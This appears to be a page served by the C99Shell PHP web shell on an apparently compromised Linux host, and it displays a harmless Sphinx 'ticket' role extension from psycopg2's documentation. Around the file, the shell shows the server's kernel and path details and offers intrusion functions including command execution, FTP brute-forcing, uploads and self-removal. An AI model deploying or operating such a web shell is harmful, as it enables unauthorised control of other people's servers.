!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.3.29 

uname -a: Linux tardis23.nocplanet.net 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024
x86_64
 

 

Safe-mode: OFF (not secure)

/opt/alt/python37/share/doc/alt-python37-psycopg2/doc/src/tools/lib/   drwxr-xr-x
Free 979.28 GB of 1859.98 GB (52.65%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ticket_role.py (1.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# -*- coding: utf-8 -*-
"""
    ticket role
    ~~~~~~~~~~~

    An interpreted text role to link docs to tickets issues.

    :copyright: Copyright 2013 by Daniele Varrazzo.
"""

import re
from docutils import nodes, utils
from docutils.parsers.rst import roles

def ticket_role(name, rawtext, text, lineno, inliner, options={}, content=[]):
    cfg = inliner.document.settings.env.app.config
    if cfg.ticket_url is None:
        msg = inliner.reporter.warning(
            "ticket not configured: please configure ticket_url in conf.py")
        prb = inliner.problematic(rawtext, rawtext, msg)
        return [prb], [msg]

    rv = [nodes.Text(name + ' ')]
    tokens = re.findall(r'(#?\d+)|([^\d#]+)', text)
    for ticket, noise in tokens:
        if ticket:
            num = int(ticket.replace('#', ''))

            # Push numbers of the oldel tickets ahead.
            # We moved the tickets from a different tracker to GitHub and the
            # latter already had a few ticket numbers taken (as merge
            # requests).
            remap_until = cfg.ticket_remap_until
            remap_offset = cfg.ticket_remap_offset
            if remap_until and remap_offset:
                if num <= remap_until:
                    num += remap_offset

            url = cfg.ticket_url % num
            roles.set_classes(options)
            node = nodes.reference(ticket, utils.unescape(ticket),
                refuri=url, **options)

            rv.append(node)

        else:
            assert noise
            rv.append(nodes.Text(noise))

    return rv, []


def setup(app):
    app.add_config_value('ticket_url', None, 'env')
    app.add_config_value('ticket_remap_until', None, 'env')
    app.add_config_value('ticket_remap_offset', None, 'env')
    app.add_role('ticket', ticket_role)
    app.add_role('tickets', ticket_role)

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0184 ]--